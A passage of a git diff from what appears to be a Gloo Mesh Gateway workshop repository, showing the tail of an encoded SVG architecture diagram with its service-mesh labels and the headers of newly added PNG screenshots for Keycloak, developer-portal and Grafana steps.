x1MDAwNDfzXHUwMDAyscJMX1x1MDAxNrxcIqWMo1XC82pBqcRcdTAwMWIpXHUwMDE55JBW80B8hFx1MDAxOMWMrY5cdTAwMDc3kyaJXHJoUoBcdTAwMDHpg5Ix5lx1MDAwNIHY1bBcdTAwMTlcbtZqidVMkCCTXHUwMDE0XHUwMDE0vlx1MDAwNlxuZEB+TG4kPlx1MDAxN13zl/3n1kdHXHUwMDAyu2ZcdTAwMDOAzKGab+EyyCVnlVmnf1KvXFxPutf1WFHX5UXUzSZiaeBpjqnZeb7iLlx1MDAwNplgXHUwMDAxR1x1MDAwMb1KhSRw0F52k9aFolNMgGlqg4hJSkRUXHUwMDE5qeJcdTAwMTCos35oZFjT5F19XHUwMDFmXHUwMDFh/aZw0Z0sVv58L1x0XHUwMDAwaMC9/lxmgEqtTKSab1x1MDAxOTDsjGu8nD6L3bRGJ6RyXCLfO4mTQ5qQfmSAyV1cdTAwMDRlJ5VBbGzFZ65cdTAwMTEodm7UjTYxcmo/x6GbXGbAXHUwMDA2ms3xu1x1MDAwMJtcdTAwMWQwi5PzxJJCmSh3+Fx1MDAxZivO8bpccklN7VAwRaPsOfxcdTAwMTZcbntcYlx1MDAwNVNRh1FcdTAwMDOgKJhcdTAwMDWw1XrVoEJcdTAwMDArKFx1MDAwN8tcYlx1MDAxNFx1MDAxYUCgzdBcdTAwMDfQLKBcdTAwMWJAZVx1MDAxYfCPQCsgXHUwMDE0XHUwMDExXHUwMDAzpVx1MDAwMFx1MDAwYlx1MDAwMFx1MDAxOKA+MCimoJdcdTAwMThcdTAwMDNcdTAwMTKm9jjgXHUwMDFmg4FtIbUy6bdcdTAwMDB+NuN3aVx1MDAxOetcdTAwMTCblokwRaHY8mjCvG+ogsMlN1x1MDAwMiiMLTBrgDeYJtKYjiuTM4aHsYlg3Vx1MDAwNFx1MDAxMVx1MDAxYjFcdTAwMWWmlsme0oD4pVx0nWVLSVx1MDAwZlxilpVcdTAwMWJLXHUwMDAwllx1MDAwZfAuI1x1MDAxYiGyu1x1MDAwNDCXQZREkp/1XHUwMDBiXGJYU3rbhFAv/7lA7v5zrYRZry1cdTAwMDJcdTAwMDcuypXj1u1cdTAwMDDFXHUwMDFmW49cdTAwMTfpm2rmOHV8XHUwMDFmdSCoLGPSweqbpJ2VkoBYaWN8SmRcdTAwMTLJkPDyI+7b287iJlx1MDAxOFx1MDAxYvjQ2JiEOFx1MDAxNVxixD9cYlx1MDAwZlx1MDAwYiAxXHUwMDEz1bp+fmSqOJqIxyi7XHUwMDEyo+NEZ1xiu0IgXHUwMDBlolx1MDAwMFx1MDAwMzv6T5IkKFnN6+Lz1ZDWxtlB/WpcdTAwMTivubWtjlxmXHUwMDAy4lx1MDAxNlJcYqxRxU3j+FVcdTAwMDSETaI6YCOQXHUwMDAyYPbb8sc/XHUwMDFmXHUwMDAxwVx1MDAwNI0swiZRiNpcdTAwMGLcf/Sz1kxcYlx1MDAxOCjKoaPfXGJon1J2noAlXHUwMDA2iEUzULmAQUA2Kqo2Olk9MVx1MDAwYoxcdTAwMDfox6TRKOO0RWyja8pcdTAwMTO0XHUwMDE419TcwVx1MDAwNdJcdTAwMWQzUDebvazesFx1MDAwNVx1MDAwNlx1MDAwNMSvXHUwMDE04EG4XHUwMDE18KZcdTAwMGavoydwiZlagFx1MDAxMsZcdTAwMDRON9mTSG2Ead7IXHUwMDA1gFx1MDAwYsX0h0uZXHUwMDE4xaZtXHUwMDAz+lx1MDAwMi6uye3avf6WNIm1XHUwMDAw6LYoZXGuZ5nnp+S0SVx1MDAxMv38eFx1MDAxNJfpkVtcdTAwMGLSXHL1t1ZNxDDr8mhqXHUwMDAxXHUwMDEwoKYtXHUwMDE5/JssO7BcdTAwMDBcdTAwMDdgS1x0+IQog2qVe8BcdTAwMTeAvLIu7lx1MDAwMVxcmGWQuMbASIRw6Vx1MDAwNFxcpCW5qfGpXHUwMDAwXHUwMDEwXHUwMDBi4lBiXHUwMDEwYC1ALPq710+Nnb1dXHR+XHUwMDEyu0jl7uVtXHUwMDAxNS6K+sSuWj6SyWH3pDlQNvmyxklMXHUwMDFkksmZZbQyXGJcdTAwMTU1P2iTvyTUllx1MDAxOe7vlfNEOZMtzsTxOKZ7OMNcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-monetization/grafana.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-monetization/grafana.png new file mode 100644 index 0000000000..19983ad4cf Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-monetization/grafana.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/api-key.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/api-key.png new file mode 100644 index 0000000000..3b5bf6a548 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/api-key.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/api-keys.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/api-keys.png new file mode 100644 index 0000000000..cc94cb8c61 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/api-keys.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/apis.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/apis.png new file mode 100644 index 0000000000..04acf533a0 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/apis.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/home.png b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/home.png new file mode 100644 index 0000000000..c705b86e11 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/dev-portal-self-service/home.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ 